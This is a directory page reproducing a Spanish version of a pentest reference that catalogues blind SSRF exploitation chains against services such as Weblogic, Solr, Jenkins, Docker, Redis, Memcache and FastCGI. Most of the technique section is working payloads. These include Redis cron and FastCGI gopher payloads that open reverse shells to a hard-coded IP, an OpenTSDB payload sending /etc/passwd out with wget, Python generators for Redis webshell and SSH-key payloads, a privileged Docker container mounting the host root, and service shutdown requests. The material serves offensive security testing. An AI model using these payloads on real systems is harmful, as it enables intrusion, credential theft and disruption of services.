Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
blind-ssrf-chains — Una lista exhaustiva de todas las formas posibles de encadenar tu vulnerabilidad de Blind SSRF | Kitploit
Herramientas/GitHubGitHub/assetnote/blind-ssrf-chains
ReconocimientoAnálisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónSeguridad en la NubeAprendizaje y EducaciónRecursos Curados
GitHubassetnote/blind-ssrf-chains

blind-ssrf-chains

Una lista exhaustiva de todas las formas posibles de encadenar tu vulnerabilidad de Blind SSRF

Ver Repositorio
986122hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Introducción

¿Qué es Server Side Request Forgery (SSRF)?

Server Side Request Forgery ocurre cuando puedes obligar a un servidor a realizar solicitudes arbitrarias en tu nombre. Como las solicitudes las realiza el servidor, es posible acceder a recursos internos debido a la posición del servidor en la red. En entornos de nube, SSRF presenta un riesgo más significativo debido a la presencia de endpoints de metadatos que pueden contener credenciales sensibles o secretos.

Blind SSRF

Al explotar la falsificación de solicitudes del lado del servidor, a menudo podemos encontrarnos en una posición en la que la respuesta no puede leerse. En la industria, este comportamiento se conoce a menudo como "Blind SSRF". En tales situaciones, ¿cómo demostramos el impacto? Esta fue una interesante discusión que Justin Gardner inició en Twitter:

He estado encontrando una gran cantidad de Blind SSRF recientemente. ¿Qué tipo de RCE de un solo disparo han usado como pivotes para estos casos en el pasado? Tengo acceso a algo de Kafka y un montón de otras cosas. @nnwakelam @thedawgyg

— Justin Gardner (@Rhynorater) 13 de enero de 2021

Si puedes alcanzar recursos internos, hay una serie de cadenas de explotación potenciales que se pueden ejecutar para demostrar el impacto. Esta entrada de blog intenta entrar en detalle sobre cada cadena de explotación conocida al aprovechar blind SSRF, y se actualizará a medida que se descubran y compartan más técnicas.

Si se nos ha escapado alguna técnica, envíanos un tweet o un mensaje directo (DM): @assetnote y la añadiremos a este blog.

Canarios SSRF

Tiendo a llamarlos canarios SSRF, cuando se encadena un blind SSRF con otro SSRF interno que realiza una llamada adicional externamente, o mediante un redireccionamiento abierto específico de la aplicación o un XXE ciego. Confluence, Artifactory, Jenkins y JAMF tienen algunos que funcionan bien.

— Frans Rosén (@fransrosen) 13 de enero de 2021

Para validar que puedes interactuar con servicios o aplicaciones internos, puedes utilizar "canarios SSRF".

Esto ocurre cuando podemos solicitar una URL interna que realiza otro SSRF y hace una llamada a tu host canario. Si recibes una solicitud en tu host canario, significa que has alcanzado con éxito un servicio interno que también es capaz de realizar solicitudes salientes.

Esta es una forma eficaz de verificar que una vulnerabilidad SSRF tiene acceso a redes o aplicaciones internas, y también de confirmar la presencia de cierto software existente en la red interna. También es posible pivotar potencialmente hacia partes más sensibles de una red interna usando un canario SSRF, dependiendo de dónde se encuentre.

Uso de fuentes de datos DNS y AltDNS para encontrar hosts internos

Con el objetivo de encontrar tantos hosts internos como sea posible, se pueden utilizar fuentes de datos DNS para encontrar todos los registros que apunten a hosts internos.

En entornos de nube, a menudo vemos ELB que apuntan a hosts dentro de una VPC interna. Dependiendo de en qué VPC se encuentre el activo que estás atacando, puede ser posible acceder a otros hosts dentro de la misma VPC.

Por ejemplo, considera que el siguiente host ha sido descubierto a partir de fuentes de datos DNS:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

root@kitploit:~
Puedes asumir que `es` significa Elasticsearch y luego realizar más ataques contra este host. También puedes lanzar todos estos payloads de SSRF ciego contra todos los hosts "internos" que hayas identificado mediante este método. Esto suele ser efectivo.

Para encontrar más hosts internos, recomiendo tomar todos tus datos DNS y luego usar algo como [AltDNS](https://github.com/infosec-au/altdns) para generar permutaciones y resolverlas con un [bruteforcer de DNS rápido](https://github.com/blechschmidt/massdns).

Una vez que esto esté completo, identifica todos los hosts internos recién descubiertos y úsalos como parte de tu cadena de SSRF ciego.

## Fugas de canal lateral

Al explotar vulnerabilidades de SSRF ciego, es posible que puedas filtrar algo de información sobre la respuesta que se devuelve. Por ejemplo, supongamos que tienes SSRF ciego a través de un XXE; los mensajes de error pueden indicar si:

- Se devolvió una respuesta  

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

vs.

- El host y el puerto son inalcanzables

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

De manera similar, fuera de los XXEs, una aplicación web también podría tener una fuga de canal lateral que se puede determinar inspeccionando las diferencias en:

- **Código de estado de la respuesta**: 

Activo interno en línea:puerto responde con `200 OK` vs activo interno fuera de línea:puerto `500 Internal Server Error`

- **Contenido de la respuesta**: 

El tamaño de la respuesta en bytes es menor o mayor dependiendo de si la URL que intentas solicitar es alcanzable o no.

- **Tiempo de respuesta**: 

Los tiempos de respuesta son más lentos o más rápidos dependiendo de si la URL que intentas solicitar es alcanzable o no.

---------------

# Técnicas
**Posible vía HTTP(s)**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Otros productos de Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Posible vía Gopher**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**Herramientas**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**Posible vía HTTP(s)**

<div id="elasticsearch"></div>

## Elasticsearch

**Puerto de escucha habitual: 9200**

Cuando Elasticsearch se despliega internamente, normalmente no requiere autenticación. 

Si tienes un SSRF parcialmente ciego en el que puedes determinar el código de estado, comprueba si los siguientes endpoints devuelven un 200:```http
/_cluster/health
/_cat/indices
/_cat/health

Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes apagar la instancia de Elasticsearch enviando una solicitud POST a la siguiente ruta:

Nota: la API _shutdown se ha eliminado de Elasticsearch a partir de la versión 2.x. Esto solo funciona en Elasticsearch 1.6 o inferior:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

root@kitploit:~
<div id="weblogic"></div>

## Weblogic

**Puertos comúnmente vinculados: 80, 443 (SSL), 7001, 8888**

**Canario SSRF: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Esto también funciona vía GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

root@kitploit:~
Este endpoint también es vulnerable a la inyección CRLF:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Dará como resultado la siguiente solicitud:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive

sdf
root@kitploit:~
**SSRF Canary: CVE-2020-14883**

Tomado de [aquí](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

root@kitploit:~
<div id="consul"></div>

## Hashicorp Consul

**Puertos de escucha habituales: 8500, 8501 (SSL)**

El writeup se puede encontrar [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).

<div id="shellshock"></div>

## Shellshock

**Puertos de escucha habituales: 80, 443 (SSL), 8080**

Para probar Shellshock de manera efectiva, es posible que necesites añadir una cabecera que contenga el payload. Merece la pena probar las siguientes rutas CGI:

Breve lista de rutas CGI para probar:

[Gist con las rutas](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary: Shellshock a través del User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Puertos comúnmente enlazados: 80, 8080, 8888, 8082

Consulte la referencia de la API de Apache Druid aquí.

Si puede ver el código de estado, verifique las siguientes rutas para ver si devuelven un código de estado 200:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

root@kitploit:~
Tareas de apagado, requiere que adivines los IDs de tarea o el nombre de la fuente de datos:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Apagar supervisores en los Overlords de Apache Druid:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

root@kitploit:~
<div id="solr"></div>

## Apache Solr

**Puerto comúnmente enlazado: 8983**

**Canario SSRF: Parámetro Shards**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Para añadir a lo que dice shubham: escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás golpeando una instancia de solr a ciegas.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 de enero de 2021</a></blockquote>

Tomado de [aquí](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}

root@kitploit:~
**RCE a través de dataImportHandler**

[Investigación sobre RCE a través de dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**Puertos comúnmente asociados: 80,443 (SSL)**

Tomado de esta investigación [aquí](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**Canario SSRF: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...

root@kitploit:~
<div id="struts"></div>

## Apache Struts

**Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)**

Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF Canary: Struts2-016**:

Añade esto al final de cada endpoint/URL interna que conozcas:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)

Tomado de aquí.

SSRF Canary: Desplegar WAR desde URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

root@kitploit:~
<div id="confluence"></div>

## Confluence

**Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: Sharelinks  (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Ticket de seguridad de Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

root@kitploit:~
<div id="jira"></div>

## Jira

**Puertos de escucha habituales: 80,443 (SSL),8080,8443 (SSL)**

**Canario SSRF: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Ticket de seguridad de Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

root@kitploit:~
<div id="atlassian-products"></div>

## Otros productos de Atlassian

**Puertos comúnmente enlazados: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Puerto comúnmente enlazado: 4242

Ejecución remota de código en OpenTSDB

Canario SSRF: curl vía RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

root@kitploit:~
[Ejecución remota de código en OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl mediante RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Puertos comúnmente vinculados: 80,443 (SSL),8080,8888

Excelente análisis aquí.

Canario SSRF: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

root@kitploit:~
**RCE**

Sigue las instrucciones aquí para lograr RCE vía GET: [Hacking Jenkins Parte 2 - Abusando de la metaprogramación para RCE no autenticado!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE vía Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

root@kitploit:~
<div id="hystrix"></div>

## Hystrix Dashboard

**Puertos de enlace habituales: 80,443 (SSL),8080**

Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Puertos de escucha habituales: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

Esto debe ser una petición PUT:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

root@kitploit:~
**SSRF Canary**

El aviso de esta vulnerabilidad se publicó aquí: [Vulnerabilidad SSRF en W3 Total Cache](https://klikki.fi/adv/w3_total_cache.html)

Este código PHP generará un payload para tu host de SSRF Canary (reemplaza `url` con tu host canary):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Puertos comúnmente vinculados: 2375, 2376 (SSL)

Si tienes un SSRF parcialmente ciego, puedes usar las siguientes rutas para verificar la presencia de la API de Docker:```bash /containers/json /secrets /services

root@kitploit:~
**RCE mediante la ejecución de una imagen docker arbitraria**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Reemplaza alpine con una imagen arbitraria que quieras que ejecute el contenedor docker.

Exportador Redis de Prometheus para Gitlab

Puertos comúnmente enlazados: 9121

Esta vulnerabilidad afecta a las instancias de Gitlab anteriores a la versión 13.1.1. Según la documentación de Gitlab Prometheus and its exporters are on by default, starting with GitLab 9.0.

Estos exportadores proporcionan un excelente método para que un atacante realice un movimiento lateral y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se explota fácilmente es el Exportador Redis.

El siguiente endpoint permitirá a un atacante volcar todas las claves del servidor redis proporcionado a través del parámetro target:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

root@kitploit:~
**Posible a través de Gopher**

<div id="redis"></div>

## Redis

**Puerto comúnmente enlazado: 6379**

Lectura recomendada:

- [Intentando hackear Redis a través de solicitudes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Explotaciones SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**RCE mediante Cron** - [Superficies de ataque de Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

root@kitploit:~
**RCE mediante subida de shell (PHP)** - [Resumen de Getshell en Redis](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE mediante authorized_keys - Resumen de Getshell en Redis```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"

shell="\n\n\n\n"

sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd

if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

root@kitploit:~
**RCE en GitLab mediante protocolo Git**

Excelente writeup de Liveoverflow [aquí](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).

Aunque esto requería acceso autenticado a GitLab para explotarse, incluyo el payload aquí ya que el protocolo `git` puede funcionar en el objetivo que estés atacando. Este payload es solo de referencia.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Puerto de escucha habitual: 11211

  • vBulletin Memcache RCE
  • GitHub Enterprise Memcache RCE
  • Ejemplo de payload Gopher para Memcache```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/%0d%0adelete ssrftest%0d%0a
root@kitploit:~
<div id="tomcat"></div>

## Apache Tomcat

**Puertos de escucha habituales: 80,443 (SSL),8080,8443 (SSL)**

Efectivo solo contra Tomcat 6:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

Write-up de CTF que utiliza esta técnica:

[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**Puertos de escucha habituales: 80,443 (SSL)**

Esto fue tomado de [aquí](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Puertos de enlace habituales: 1090,1098,1099,1199,4443-4446,8999-9010,9999

Las vulnerabilidades ciegas de SSRF que permiten bytes arbitrarios (basadas en gopher) pueden utilizarse para realizar ataques de deserialización o de codebase en los componentes predeterminados de Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Un análisis detallado se puede encontrar aquí. El siguiente listado muestra un ejemplo de la generación del payload:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

root@kitploit:~
**Herramientas**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Entrada de blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

Esta herramienta genera payloads de Gopher para:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache


